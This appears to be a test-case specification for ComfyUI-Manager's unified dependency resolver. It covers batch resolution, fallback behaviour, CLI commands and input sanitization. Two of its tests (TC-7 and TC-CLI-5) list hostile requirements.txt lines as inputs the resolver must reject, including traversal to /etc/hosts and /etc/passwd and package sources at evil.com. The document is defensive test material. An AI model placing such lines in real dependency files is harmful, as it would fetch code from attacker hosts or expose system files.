# Test Cases: Unified Dependency Resolver

See [TEST-environment-setup.md](TEST-environment-setup.md) for environment setup.

## Enabling the Resolver

Add the following to `config.ini` (in the Manager data directory):

```ini
[default]
use_unified_resolver = true
```

> Config path: `$COMFY_ROOT/user/__manager/config.ini`
> Also printed at startup: `** ComfyUI-Manager config path: <path>/config.ini`

**Log visibility note**: `[UnifiedDepResolver]` messages are emitted via Python's `logging` module (INFO and WARNING levels), not `print()`. Ensure the logging level is set to INFO or lower. ComfyUI defaults typically show these, but if messages are missing, check that the root logger or the `ComfyUI-Manager` logger is not set above INFO.

## API Reference (for Runtime Tests)

Node pack installation at runtime uses the task queue API:

```
POST http://localhost:8199/v2/manager/queue/task
Content-Type: application/json
```

> **Port**: E2E tests use port 8199 to avoid conflicts with running ComfyUI instances. Replace with your actual port if different.

**Payload** (`QueueTaskItem`):

| Field | Type | Description |
|-------|------|-------------|
| `ui_id` | string | Unique task identifier (any string) |
| `client_id` | string | Client identifier (any string) |
| `kind` | `OperationType` enum | `"install"`, `"uninstall"`, `"update"`, `"update-comfyui"`, `"fix"`, `"disable"`, `"enable"`, `"install-model"` |
| `params` | object | Operation-specific parameters (see below) |

**Install params** (`InstallPackParams`):

| Field | Type | Description |
|-------|------|-------------|
| `id` | string | CNR node pack ID (e.g., `"comfyui-impact-pack"`) or `"author/repo"` |
| `version` | string | Required by model. Set to same value as `selected_version`. |
| `selected_version` | string | **Controls install target**: `"latest"`, `"nightly"`, or specific semver |
| `mode` | string | `"remote"`, `"local"`, or `"cache"` |
| `channel` | string | `"default"`, `"recent"`, `"legacy"`, etc. |

> **Note**: `cm_cli` supports unified resolver via `cm_cli uv-compile` (standalone) and
> `cm_cli install --uv-compile` (install-time batch resolution). Without `--uv-compile`,
> installs use per-node pip via `legacy/manager_core.py`.

---

## Out of Scope (Deferred)

The following are intentionally **not tested** in this version:

- **cm_global integration (startup path only)**: At startup (`prestartup_script.py`), `pip_blacklist`, `pip_overrides`, `pip_downgrade_blacklist` are passed as empty defaults to the resolver. Integration with cm_global at startup is deferred to a future commit. Do not file defects for blacklist/override/downgrade behavior in startup unified mode. Note: `cm_cli uv-compile` and `cm_cli install --uv-compile` already pass real `cm_global` values (see PRD Future Extensions).
- **cm_cli per-node install (without --uv-compile)**: `cm_cli install` without `--uv-compile` imports from `legacy/manager_core.py` and uses per-node pip install. This is by design — use `cm_cli install --uv-compile` or `cm_cli uv-compile` for batch resolution.
- **Standalone `execute_install_script()`** (`glob/manager_core.py` ~line 1881): Has a unified resolver guard (`manager_util.use_unified_resolver`), identical to the class method guard. Reachable from the glob API via `update-comfyui` tasks (`update_path()` / `update_to_stable_comfyui()`), git-based node pack updates (`git_repo_update_check_with()` / `fetch_or_pull_git_repo()`), and gitclone operations. Also called from CLI and legacy server paths. The guard behaves identically to the class method at all call sites; testing it separately adds no coverage beyond TC-14 Path 1.

## CLI E2E Tests (`cm_cli uv-compile`)

These tests do **not** require ComfyUI server. Only a venv with `COMFYUI_PATH` set and
the E2E environment from `setup_e2e_env.sh` are needed.

**Common setup**:
```bash
source tests/e2e/scripts/setup_e2e_env.sh   # → E2E_ROOT=...
export COMFYUI_PATH="$E2E_ROOT/comfyui"
VENV_PY="$E2E_ROOT/venv/bin/python"
```

---

### TC-CLI-1: Normal Batch Resolution [P0]

**Steps**:
1. Create a test node pack with a simple dependency:
```bash
mkdir -p "$COMFYUI_PATH/custom_nodes/test_cli_pack"
echo "chardet>=5.0" > "$COMFYUI_PATH/custom_nodes/test_cli_pack/requirements.txt"
```
2. Run:
```bash
$VENV_PY -m cm_cli uv-compile
```

**Verify**:
- Exit code: 0
- Output contains: `Resolved N deps from M source(s)`
- `chardet` is importable: `$VENV_PY -c "import chardet"`

**Cleanup**: `rm -rf "$COMFYUI_PATH/custom_nodes/test_cli_pack"`

---

### TC-CLI-2: No Custom Node Packs [P1]

**Steps**:
1. Ensure `custom_nodes/` contains no node packs (only symlinks like `ComfyUI-Manager`
   or empty dirs may remain)
2. Run:
```bash
$VENV_PY -m cm_cli uv-compile
```

**Verify**:
- Exit code: 0
- Output contains: `No custom node packs found` OR `Resolution complete (no deps needed)`

---

### TC-CLI-3: uv Unavailable [P0]

**Steps**:
1. Create a temporary venv **without** uv:
```bash
python3 -m venv /tmp/no_uv_venv
/tmp/no_uv_venv/bin/pip install comfyui-manager   # or install from local
```
2. Ensure no standalone `uv` in PATH:
```bash
PATH="/tmp/no_uv_venv/bin" COMFYUI_PATH="$COMFYUI_PATH" \
  /tmp/no_uv_venv/bin/python -m cm_cli uv-compile
```

**Verify**:
- Exit code: 1
- Output contains: `uv is not available`

**Cleanup**: `rm -rf /tmp/no_uv_venv`

---

### TC-CLI-4: Conflicting Dependencies [P0]

**Steps**:
1. Create two node packs with conflicting pinned versions:
```bash
mkdir -p "$COMFYUI_PATH/custom_nodes/conflict_a"
echo "numpy==1.24.0" > "$COMFYUI_PATH/custom_nodes/conflict_a/requirements.txt"
mkdir -p "$COMFYUI_PATH/custom_nodes/conflict_b"
echo "numpy==1.26.0" > "$COMFYUI_PATH/custom_nodes/conflict_b/requirements.txt"
```
2. Run:
```bash
$VENV_PY -m cm_cli uv-compile
```

**Verify**:
- Exit code: 1
- Output contains: `Resolution failed`

**Cleanup**: `rm -rf "$COMFYUI_PATH/custom_nodes/conflict_a" "$COMFYUI_PATH/custom_nodes/conflict_b"`

---

### TC-CLI-5: Dangerous Pattern Skip [P0]

**Steps**:
1. Create a node pack mixing valid and dangerous lines:
```bash
mkdir -p "$COMFYUI_PATH/custom_nodes/test_dangerous"
cat > "$COMFYUI_PATH/custom_nodes/test_dangerous/requirements.txt" << 'EOF'
chardet>=5.0
-r ../../../etc/hosts
--find-links http://evil.com/pkgs
requests>=2.28
EOF
```
2. Run:
```bash
$VENV_PY -m cm_cli uv-compile
```

**Verify**:
- Exit code: 0
- Output contains: `Resolved 2 deps` (chardet + requests, dangerous lines skipped)
- `chardet` and `requests` are importable
- Log contains: `rejected dangerous line` for the `-r` and `--find-links` lines

**Cleanup**: `rm -rf "$COMFYUI_PATH/custom_nodes/test_dangerous"`

---

### TC-CLI-6: install --uv-compile Single Pack [P0]

**Steps**:
1. In clean E2E environment, install a single node pack:
```bash
$VENV_PY -m cm_cli install comfyui-impact-pack --uv-compile --mode remote
```

**Verify**:
- Exit code: 0
- Per-node pip install does NOT run (no `Install: pip packages` in output)
- `install.py` still executes
- Output contains: `Resolved N deps from M source(s)`
- Impact Pack dependencies are importable: `cv2`, `skimage`, `dill`, `scipy`, `matplotlib`

---

### TC-CLI-7: install --uv-compile Multiple Packs [P0]

**Steps**:
1. After TC-CLI-6 (or with impact-pack already installed), install two more packs at once:
```bash
$VENV_PY -m cm_cli install comfyui-impact-subpack comfyui-inspire-pack --uv-compile --mode remote
```

**Verify**:
- Exit code: 0
- Both packs installed: `[INSTALLED] comfyui-impact-subpack`, `[INSTALLED] comfyui-inspire-pack`
- Batch resolution runs once (not twice) after all installs complete
- Resolves deps for **all** installed packs (impact + subpack + inspire + manager)
- New dependencies importable: `cachetools`, `webcolors`, `piexif`
- Previously installed deps (from step 1) remain intact

---

## Test Fixture Setup

Each TC that requires node packs should use isolated, deterministic fixtures:

```bash
# Create test node pack
mkdir -p "$COMFY_ROOT/custom_nodes/test_pack_a"
echo "chardet>=5.0" > "$COMFY_ROOT/custom_nodes/test_pack_a/requirements.txt"

# Cleanup after test
rm -rf "$COMFY_ROOT/custom_nodes/test_pack_a"
```

Ensure no other node packs in `custom_nodes/` interfere with expected counts. Use a clean `custom_nodes/` directory or account for existing packs in assertions.

---

## TC-1: Normal Batch Resolution [P0]

**Precondition**: `use_unified_resolver = true`, uv installed, at least one node pack with `requirements.txt`

**Steps**:
1. Create `$COMFY_ROOT/custom_nodes/test_pack_a/requirements.txt` with content: `chardet>=5.0`
2. Start ComfyUI

**Expected log**:
```
[UnifiedDepResolver] Collected N deps from M sources (skipped 0)
[UnifiedDepResolver] running: ... uv pip compile ...
[UnifiedDepResolver] running: ... uv pip install ...
[UnifiedDepResolver] startup batch resolution succeeded
```

**Verify**: Neither `Install: pip packages for` nor `Install: pip packages` appears in output (both per-node pip variants must be absent)

---

## TC-2: Disabled State (Default) [P1]

**Precondition**: `use_unified_resolver = false` or key absent from config.ini

**Steps**: Start ComfyUI

**Verify**: No `[UnifiedDepResolver]` log output at all

---

## TC-3: Fallback When uv Unavailable [P0]

**Precondition**: `use_unified_resolver = true`, uv completely unavailable

**Steps**:
1. Create a venv **without** uv installed (`uv` package not in venv)
2. Ensure no standalone `uv` binary exists in `$PATH` (rename or use isolated `$PATH`)
3. Start ComfyUI

```bash
# Reliable uv removal: both module and binary must be absent
uv pip uninstall uv
# Verify neither path works
python -m uv --version 2>&1 | grep -q "No module" && echo "module uv: absent"
which uv 2>&1 | grep -q "not found" && echo "binary uv: absent"
```

**Expected log**:
```
[UnifiedDepResolver] uv not available at startup, falling back to per-node pip
```

**Verify**:
- `manager_util.use_unified_resolver` is reset to `False`
- Subsequent node pack installations use per-node pip install normally

---

## TC-4: Fallback on Compile Failure [P0]

**Precondition**: `use_unified_resolver = true`, conflicting dependencies

**Steps**:
1. Node pack A `requirements.txt`: `numpy==1.24.0`
2. Node pack B `requirements.txt`: `numpy==1.26.0`
3. Start ComfyUI

**Expected log**:
```
[UnifiedDepResolver] startup batch failed: compile failed: ..., falling back to per-node pip
```

**Verify**:
- `manager_util.use_unified_resolver` is reset to `False`
- Falls back to per-node pip install normally

---

## TC-5: Fallback on Install Failure [P0]

**Precondition**: `use_unified_resolver = true`, compile succeeds but install fails

**Steps**:
1. Create node pack with `requirements.txt`: `numpy<2`
2. Force install failure by making the venv's `site-packages` read-only:
```bash
chmod -R a-w "$(python -c 'import site; print(site.getsitepackages()[0])')"
```
3. Start ComfyUI
4. After test, restore permissions:
```bash
chmod -R u+w "$(python -c 'import site; print(site.getsitepackages()[0])')"
```

**Expected log**:
```
[UnifiedDepResolver] startup batch failed: ..., falling back to per-node pip
```
> The `...` contains raw stderr from `uv pip install` (e.g., permission denied errors).

**Verify**:
- `manager_util.use_unified_resolver` is reset to `False`
- Falls back to per-node pip install

---

## TC-6: install.py Execution Preserved [P0]

**Precondition**: `use_unified_resolver = true`, ComfyUI running with batch resolution succeeded

**Steps**:
1. While ComfyUI is running, install a node pack that has both `install.py` and `requirements.txt` via API:
```bash
curl -X POST http://localhost:8199/v2/manager/queue/task \
  -H "Content-Type: application/json" \
  -d '{
    "ui_id": "test-installpy",
    "client_id": "test-client",
    "kind": "install",
    "params": {
      "id": "<node-pack-id-with-install-py>",
      "version": "latest",
      "selected_version": "latest",
      "mode": "remote",
      "channel": "default"
    }
  }'
```
> Choose a CNR node pack known to have both `install.py` and `requirements.txt`.
> Alternatively, use the Manager UI to install the same pack.

2. Check logs after installation

**Verify**:
- `Install: install script` is printed (install.py runs immediately during install)
- `Install: pip packages` does NOT appear (deps deferred, not installed per-node)
- Log: `[UnifiedDepResolver] deps deferred to startup batch resolution for <path>`
- After **restart**, the new pack's deps are included in batch resolution (`Collected N deps from M sources`)

---

## TC-7: Dangerous Pattern Rejection [P0]

**Precondition**: `use_unified_resolver = true`

**Steps**: Include any of the following in a node pack's `requirements.txt`:
```
-r ../../../etc/hosts
--requirement secret.txt
-e git+https://evil.com/repo
--editable ./local
-c constraint.txt
--constraint external.txt
--find-links http://evil.com/pkgs
-f http://evil.com/pkgs
evil_pkg @ file:///etc/passwd
```

**Expected log**:
```
[UnifiedDepResolver] rejected dangerous line: '...' from <path>
```

**Verify**: Dangerous lines are skipped; remaining valid deps are installed normally

---

## TC-8: Path Separator Rejection [P0]

**Precondition**: `use_unified_resolver = true`

**Steps**: Node pack `requirements.txt`:
```
../evil/pkg
bad\pkg
./local_package
```

**Expected log**:
```
[UnifiedDepResolver] rejected path separator: '...' from <path>
```

**Verify**: Lines with `/` or `\` in the package name portion are rejected; valid deps on other lines are processed normally

---

## TC-9: --index-url / --extra-index-url Separation [P0]

**Precondition**: `use_unified_resolver = true`

Test all four inline forms:

| # | `requirements.txt` content | Expected package | Expected URL |
|---|---------------------------|-----------------|--------------|
| a | `torch --index-url https://example.com/whl` | `torch` | `https://example.com/whl` |
| b | `torch --extra-index-url https://example.com/whl` | `torch` | `https://example.com/whl` |
| c | `--index-url https://example.com/whl` (standalone) | *(none)* | `https://example.com/whl` |
| d | `--extra-index-url https://example.com/whl` (standalone) | *(none)* | `https://example.com/whl` |

**Steps**: Create a node pack with each variant (one at a time or combined with a valid package on a separate line)

**Verify**:
- Package spec is correctly extracted (or empty for standalone lines)
- URL is passed as `--extra-index-url` to `uv pip compile`
- Duplicate URLs across multiple node packs are deduplicated
- Log: `[UnifiedDepResolver] extra-index-url: <url>`

---

## TC-10: Credential Redaction [P0]

**Precondition**: `use_unified_resolver = true`

**Steps**: Node pack `requirements.txt`:
```
private-pkg --index-url https://user:token123@pypi.private.com/simple
```

**Verify**:
- `user:token123` does NOT appear in logs
- Masked as `****@` in log output

---

## TC-11: Disabled Node Packs Excluded [P1]

**Precondition**: `use_unified_resolver = true`

**Steps**: Test both disabled styles:
1. New style: `custom_nodes/.disabled/test_pack/requirements.txt` with content: `numpy`
2. Old style: `custom_nodes/test_pack.disabled/requirements.txt` with content: `requests`
3. Start ComfyUI

**Verify**: Neither disabled node pack's deps are collected (not included in `Collected N`)

---

## TC-12: No Dependencies [P2]

**Precondition**: `use_unified_resolver = true`, only node packs without `requirements.txt`

**Steps**: Start ComfyUI

**Expected log**:
```
[UnifiedDepResolver] No dependencies to resolve
```

**Verify**: Compile/install steps are skipped; startup completes normally

---

## TC-13: Runtime Node Pack Install (Defer Behavior) [P1]

**Precondition**: `use_unified_resolver = true`, batch resolution succeeded at startup

**Steps**:
1. Start ComfyUI and confirm batch resolution succeeds
2. While ComfyUI is running, install a new node pack via API:
```bash
curl -X POST http://localhost:8199/v2/manager/queue/task \
  -H "Content-Type: application/json" \
  -d '{
    "ui_id": "test-defer-1",
    "client_id": "test-client",
    "kind": "install",
    "params": {
      "id": "<node-pack-id>",
      "version": "latest",
      "selected_version": "latest",
      "mode": "remote",
      "channel": "default"
    }
  }'
```
> Replace `<node-pack-id>` with a real CNR node pack ID (e.g., from the Manager UI).
> Alternatively, use the Manager UI to install a node pack.

3. Check logs after installation

**Verify**:
- Log: `[UnifiedDepResolver] deps deferred to startup batch resolution for <path>`
- `Install: pip packages` does NOT appear
- After ComfyUI **restart**, the new node pack's deps are included in batch resolution

---

## TC-14: Both Unified Resolver Code Paths [P0]

Verify both code locations that guard per-node pip install behave correctly in unified mode:

| Path | Guard Variable | Trigger | Location |
|------|---------------|---------|----------|
| Runtime install | `manager_util.use_unified_resolver` | API install while ComfyUI is running | `glob/manager_core.py` class method (~line 846) |
| Startup lazy install | `_unified_resolver_succeeded` | Queued install processed at restart | `prestartup_script.py` `execute_lazy_install_script()` (~line 594) |

> **Note**: The standalone `execute_install_script()` in `glob/manager_core.py` (~line 1881) also has a unified resolver guard but is reachable via `update-comfyui`, git-based node pack updates, gitclone operations, CLI, and legacy server paths. The guard is identical to the class method; see [Out of Scope](#out-of-scope-deferred).

**Steps**:

**Path 1 — Runtime API install (class method)**:
```bash
# While ComfyUI is running:
curl -X POST http://localhost:8199/v2/manager/queue/task \
  -H "Content-Type: application/json" \
  -d '{
    "ui_id": "test-path1",
    "client_id": "test-client",
    "kind": "install",
    "params": {
      "id": "<node-pack-id>",
      "version": "latest",
      "selected_version": "latest",
      "mode": "remote",
      "channel": "default"
    }
  }'
```

> Choose a CNR node pack that has both `install.py` and `requirements.txt`.

**Path 2 — Startup lazy install (`execute_lazy_install_script`)**:
1. Create a test node pack with both `install.py` and `requirements.txt`:
```bash
mkdir -p "$COMFY_ROOT/custom_nodes/test_pack_lazy"
echo 'print("lazy install.py executed")' > "$COMFY_ROOT/custom_nodes/test_pack_lazy/install.py"
echo "chardet" > "$COMFY_ROOT/custom_nodes/test_pack_lazy/requirements.txt"
```
2. Manually inject a `#LAZY-INSTALL-SCRIPT` entry into `install-scripts.txt`:
```bash
SCRIPTS_DIR="$COMFY_ROOT/user/__manager/startup-scripts"
mkdir -p "$SCRIPTS_DIR"
PYTHON_PATH=$(which python)
echo "['$COMFY_ROOT/custom_nodes/test_pack_lazy', '#LAZY-INSTALL-SCRIPT', '$PYTHON_PATH']" \
  >> "$SCRIPTS_DIR/install-scripts.txt"
```
3. Start ComfyUI (with `use_unified_resolver = true`)

**Verify**:
- Path 1: `[UnifiedDepResolver] deps deferred to startup batch resolution for <path>` appears, `install.py` runs immediately, `Install: pip packages` does NOT appear
- Path 2: `lazy install.py executed` is printed (install.py runs at startup), `Install: pip packages for` does NOT appear for the pack (skipped because `_unified_resolver_succeeded` is True after batch resolution)

---

## TC-15: Behavior After Fallback in Same Process [P1]

**Precondition**: Resolver failed at startup (TC-4 or TC-5 scenario)

**Steps**:
1. Set up conflicting deps (as in TC-4) and start ComfyUI (resolver fails, flag reset to `False`)
2. While still running, install a new node pack via API:
```bash
curl -X POST http://localhost:8199/v2/manager/queue/task \
  -H "Content-Type: application/json" \
  -d '{
    "ui_id": "test-postfallback",
    "client_id": "test-client",
    "kind": "install",
    "params": {
      "id": "<node-pack-id>",
      "version": "latest",
      "selected_version": "latest",
      "mode": "remote",
      "channel": "default"
    }
  }'
```

**Verify**:
- New node pack uses per-node pip install (not deferred)
- `Install: pip packages` appears normally
- On next restart with conflicts resolved, unified resolver retries if config still `true`

---

## TC-16: Generic Exception Fallback [P1]

**Precondition**: `use_unified_resolver = true`, an exception escapes before `resolve_and_install()`

This covers the `except Exception` handler at `prestartup_script.py` (~line 793), distinct from `UvNotAvailableError` (TC-3) and `ResolveResult` failure (TC-4/TC-5). The generic handler catches errors in the import, `collect_node_pack_paths()`, `collect_base_requirements()`, or `UnifiedDepResolver.__init__()` — all of which run before the resolver's own internal error handling.

**Steps**:
1. Make the `custom_nodes` directory unreadable so `collect_node_pack_paths()` raises a `PermissionError`:
```bash
chmod a-r "$COMFY_ROOT/custom_nodes"
```
2. Start ComfyUI
3. After test, restore permissions:
```bash
chmod u+r "$COMFY_ROOT/custom_nodes"
```

**Expected log**:
```
[UnifiedDepResolver] startup error: ..., falling back to per-node pip
```

**Verify**:
- `manager_util.use_unified_resolver` is reset to `False`
- Falls back to per-node pip install normally
- Log pattern is `startup error:` (NOT `startup batch failed:` nor `uv not available`)

---

## TC-17: Restart Dependency Detection [P0]

**Precondition**: `use_unified_resolver = true`, automated E2E scripts available

This test verifies that the resolver correctly detects and installs dependencies for node packs added between restarts, incrementally building the dependency set.

**Steps**:
1. Boot ComfyUI with no custom node packs (Boot 1 — baseline)
2. Verify baseline deps only (Manager's own deps)
3. Stop ComfyUI
4. Clone `ComfyUI-Impact-Pack` into `custom_nodes/`
5. Restart ComfyUI (Boot 2)
6. Verify Impact Pack deps are installed (`cv2`, `skimage`, `dill`, `scipy`, `matplotlib`)
7. Stop ComfyUI
8. Clone `ComfyUI-Inspire-Pack` into `custom_nodes/`
9. Restart ComfyUI (Boot 3)
10. Verify Inspire Pack deps are installed (`cachetools`, `webcolors`)

**Expected log (each boot)**:
```
[UnifiedDepResolver] Collected N deps from M sources (skipped S)
[UnifiedDepResolver] running: ... uv pip compile ...
[UnifiedDepResolver] running: ... uv pip install ...
[UnifiedDepResolver] startup batch resolution succeeded
```

**Verify**:
- Boot 1: ~10 deps from ~10 sources; `cv2`, `dill`, `cachetools` are NOT installed
- Boot 2: ~19 deps from ~18 sources; `cv2`, `skimage`, `dill`, `scipy`, `matplotlib` all importable
- Boot 3: ~24 deps from ~21 sources; `cachetools`, `webcolors` also importable
- Both packs show as loaded in logs

**Automation**: Use `tests/e2e/scripts/` (setup → start → stop) with node pack cloning between boots.

---

## TC-18: Real Node Pack Integration [P0]

**Precondition**: `use_unified_resolver = true`, network access to GitHub + PyPI

Full pipeline test with real-world node packs (`ComfyUI-Impact-Pack` + `ComfyUI-Inspire-Pack`) to verify the resolver handles production requirements.txt files correctly.

**Steps**:
1. Set up E2E environment
2. Clone both Impact Pack and Inspire Pack into `custom_nodes/`
3. Direct-mode: instantiate `UnifiedDepResolver`, call `collect_requirements()` and `resolve_and_install()`
4. Boot-mode: start ComfyUI and verify via logs

**Expected behavior (direct mode)**:
```
--- Discovered node packs (3) ---     # Manager, Impact, Inspire
  ComfyUI-Impact-Pack
  ComfyUI-Inspire-Pack
  ComfyUI-Manager

--- Phase 1: Collect Requirements ---
  Total requirements: ~24
  Skipped: 1                          # SAM2 git+https:// URL
  Extra index URLs: set()
```

**Verify**:
- `git+https://github.com/facebookresearch/sam2.git` is correctly rejected with "rejected path separator"
- All other dependencies are collected and resolved
- After install, `cv2`, `PIL`, `scipy`, `skimage`, `matplotlib` are all importable
- No conflicting version errors during compile

**Automation**: Use `tests/e2e/scripts/` (setup → clone packs → start) with direct-mode resolver invocation.

---

## Validated Behaviors (from E2E Testing)

The following behaviors were confirmed during manual E2E testing:

### Resolver Pipeline
- **3-phase pipeline**: Collect → `uv pip compile` → `uv pip install` works end-to-end
- **Incremental detection**: Resolver discovers new node packs on each restart without reinstalling existing deps
- **Dependency deduplication**: Overlapping deps from multiple packs are resolved to compatible versions

### Security & Filtering
- **`git+https://` rejection**: URLs like `git+https://github.com/facebookresearch/sam2.git` are rejected with "rejected path separator" — SAM2 is the only dependency skipped from Impact Pack
- **Blacklist filtering**: `PackageRequirement` objects have `.name`, `.spec`, `.source` attributes; `collected.skipped` returns `[(spec_string, reason_string)]` tuples

### Manager Integration
- **Manager v4 endpoints**: All endpoints use `/v2/` prefix (e.g., `/v2/manager/queue/status`)
- **`Blocked by policy`**: Expected when Manager is pip-installed and also symlinked in `custom_nodes/`; prevents legacy double-loading
- **config.ini path**: Must be at `$COMFY_ROOT/user/__manager/config.ini`, not in the symlinked Manager dir

### Environment
- **PYTHONPATH requirement**: `comfy` is a local package (not pip-installed); `comfyui_manager` imports from `comfy`, so both require `PYTHONPATH=$COMFY_ROOT`
- **HOME isolation**: `HOME=$E2E_ROOT/home` prevents host config contamination during boot

---

## Summary

| TC | P | Scenario | Key Verification |
|----|---|----------|------------------|
| 1 | P0 | Normal batch resolution | compile → install pipeline |
| 2 | P1 | Disabled state | No impact on existing behavior |
| 3 | P0 | uv unavailable fallback | Flag reset + per-node resume |
| 4 | P0 | Compile failure fallback | Flag reset + per-node resume |
| 5 | P0 | Install failure fallback | Flag reset + per-node resume |
| 6 | P0 | install.py preserved | deps defer, install.py immediate |
| 7 | P0 | Dangerous pattern rejection | Security filtering |
| 8 | P0 | Path separator rejection | `/` and `\` in package names |
| 9 | P0 | index-url separation | All 4 variants + dedup |
| 10 | P0 | Credential redaction | Log security |
| 11 | P1 | Disabled packs excluded | Both `.disabled/` and `.disabled` suffix |
| 12 | P2 | No dependencies | Empty pipeline |
| 13 | P1 | Runtime install defer | Defer until restart |
| 14 | P0 | Both unified resolver paths | runtime API (class method) + startup lazy install |
| 15 | P1 | Post-fallback behavior | Per-node pip resumes in same process |
| 16 | P1 | Generic exception fallback | Distinct from uv-absent and batch-failed |
| 17 | P0 | Restart dependency detection | Incremental node pack discovery across restarts |
| 18 | P0 | Real node pack integration | Impact + Inspire Pack full pipeline |
| CLI-1 | P0 | CLI normal batch resolution | exit 0, deps installed |
| CLI-2 | P1 | CLI no custom nodes | exit 0, graceful empty |
| CLI-3 | P0 | CLI uv unavailable | exit 1, error message |
| CLI-4 | P0 | CLI conflicting deps | exit 1, resolution failed |
| CLI-5 | P0 | CLI dangerous pattern skip | exit 0, dangerous skipped |
| CLI-6 | P0 | install --uv-compile single | per-node pip skipped, batch resolve |
| CLI-7 | P0 | install --uv-compile multi | batch once after all installs |

### Traceability

| Feature Requirement | Test Cases |
|---------------------|------------|
| FR-1: Dependency collection | TC-1, TC-11, TC-12 |
| FR-2: Input sanitization | TC-7, TC-8, TC-10 |
| FR-3: Index URL handling | TC-9 |
| FR-4: Batch resolution (compile) | TC-1, TC-4 |
| FR-5: Batch install | TC-1, TC-5 |
| FR-6: install.py preserved | TC-6, TC-14 |
| FR-7: Startup batch integration | TC-1, TC-2, TC-3 |
| Fallback behavior | TC-3, TC-4, TC-5, TC-15, TC-16 |
| Disabled node pack exclusion | TC-11 |
| Runtime defer behavior | TC-13, TC-14 |
| FR-8: Restart discovery | TC-17 |
| FR-9: Real-world compatibility | TC-17, TC-18 |
| FR-2: Input sanitization (git URLs) | TC-8, TC-18 |
| FR-10: CLI batch resolution | TC-CLI-1, TC-CLI-2, TC-CLI-3, TC-CLI-4, TC-CLI-5 |
| FR-11: CLI install --uv-compile | TC-CLI-6, TC-CLI-7 |
